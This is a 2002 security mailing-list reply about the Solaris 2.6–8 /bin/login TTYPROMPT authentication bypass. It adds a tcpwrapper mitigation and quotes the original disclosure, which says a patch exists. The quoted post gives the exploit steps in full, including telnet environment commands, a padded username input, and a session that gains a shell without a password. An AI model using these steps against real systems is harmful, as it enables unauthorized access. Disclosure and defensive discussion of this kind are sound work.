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Re: Solaris 2.6, 7, 8
From: Ramon Kagan <rkagan () YorkU CA>
Date: Wed, 2 Oct 2002 13:26:59 -0400 (EDT)

Another thing,  if you tcpwrap your telnet sessions, you can prevent
localhost telnets.

Ramon Kagan
York University, Computing and Network Services
Unix Team -  Intermediate System Administrator
(416)736-2100 #20263
rkagan () yorku ca

-------------------------------------
I have not failed.  I have just
found 10,000 ways that don't work.
        - Thomas Edison
-------------------------------------

On Wed, 2 Oct 2002, Jonathan S wrote:

Hello,

  Solaris 2.6, 7, and 8 /bin/login has a vulnerability involving the
environment variable TTYPROMPT.  This vulnerability has already been
reported to BugTraq and a patch has been released by Sun.
  However, a very simple exploit, which does not require any code to be
compiled by an attacker, exists.  The exploit requires the attacker to
simply define the environment variable TTYPROMPT to a 6 character string,
inside telnet. I believe this overflows an integer inside login, which
specifies whether or not the user has been authenticated (just a guess).
Once connected to the remote host, you must type the username, followed by
64 " c"s, and a literal "\n".  You will then be logged in as the user
without any password authentication.  This should work with any account
except root (unless remote root login is allowed).

Example:

coma% telnet
telnet> environ define TTYPROMPT abcdef
telnet> o localhost

SunOS 5.8

bin c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c
c c c c c c c c c c c c c c c c c c c c c c c c c c c c c\n
Last login: whenever
$ whoami
bin

Jonathan Stuart
Network Security Engineer
Computer Consulting Partners, Ltd.
E-mail: jons () ccpartnersltd com




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